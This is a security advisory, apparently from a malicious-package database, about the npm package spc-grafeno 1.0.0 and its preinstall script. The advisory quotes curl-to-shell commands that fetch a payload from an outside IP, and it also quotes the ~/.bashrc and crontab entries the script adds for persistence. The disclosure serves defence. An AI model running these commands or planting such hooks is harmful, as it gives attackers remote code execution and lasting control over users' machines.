MAL-2026-15522

    Dashboard / Malicious Package / MAL-2026-15522

    MAL-2026-15522

    Published: 28 Aug 2026Last Modified: 28 Aug 2026

    Summary: Malicious code in spc-grafeno (npm)

    Details: Source: amazon-inspector (a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1) The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.

    References: https://www.npmjs.com/package/spc-grafeno/v/1.0.0

    Affected packages

    Package

    Name: spc-grafeno

    Purl: pkg:npm/spc-grafeno

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0